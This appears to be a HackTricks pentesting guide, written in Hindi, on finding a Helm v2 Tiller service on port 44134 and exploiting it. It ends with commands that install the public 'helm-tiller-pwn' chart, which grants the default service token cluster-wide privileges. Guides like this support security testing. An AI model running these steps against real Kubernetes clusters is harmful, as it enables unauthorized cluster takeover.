44134 - Pentesting Tiller (Helm)

Support HackTricks

Basic Information

Helm कubernetes के लिए पैकेज प्रबंधक है। यह YAML फ़ाइलों को पैकेज करने और उन्हें सार्वजनिक और निजी रिपॉजिटरी में वितरित करने की अनुमति देता है। इन पैकेजों को Helm Charts कहा जाता है। Tiller वह सेवा है जो डिफ़ॉल्ट रूप से पोर्ट 44134 में चल रही है।

डिफ़ॉल्ट पोर्ट: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeration

यदि आप विभिन्न नामस्थानों के पॉड्स और/या सेवाओं को सूचीबद्ध कर सकते हैं, तो उन्हें सूचीबद्ध करें और उन पर खोज करें जिनके नाम में "tiller" है:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

उदाहरण:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

आप इस सेवा को चलाते हुए पोर्ट 44134 की जांच करके भी खोजने की कोशिश कर सकते हैं:

sudo nmap -sS -p 44134 <IP>

एक बार जब आप इसे खोज लेते हैं, तो आप क्लाइंट हेल्म एप्लिकेशन डाउनलोड करके इसके साथ संवाद कर सकते हैं। आप homebrew जैसे टूल का उपयोग कर सकते हैं, या आधिकारिक रिलीज़ पृष्ठ** को देख सकते हैं।** अधिक विवरण के लिए, या अन्य विकल्पों के लिए, स्थापना गाइड देखें।

फिर, आप सेवा की गणना कर सकते हैं:

helm --host tiller-deploy.kube-system:44134 version

Privilege Escalation

डिफ़ॉल्ट रूप से Helm2 को namespace kube-system में उच्च विशेषाधिकार के साथ स्थापित किया गया था, इसलिए यदि आप सेवा को खोजते हैं और इसमें पहुंच रखते हैं, तो यह आपको विशेषाधिकार बढ़ाने की अनुमति दे सकता है।

आपको बस इतना करना है कि एक पैकेज स्थापित करें जैसे कि यह: https://github.com/Ruil1n/helm-tiller-pwn जो डिफ़ॉल्ट सेवा टोकन को पूरे क्लस्टर में सब कुछ एक्सेस करने की अनुमति देगा।

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

In http://rui0.cn/archives/1573 में आपके पास हमले का विवरण है, लेकिन मूल रूप से, यदि आप फ़ाइलें clusterrole.yaml और clusterrolebinding.yaml helm-tiller-pwn/pwnchart/templates/ के अंदर पढ़ते हैं, तो आप देख सकते हैं कि सभी विशेषाधिकार डिफ़ॉल्ट टोकन को दिए जा रहे हैं

Support HackTricks

Last updated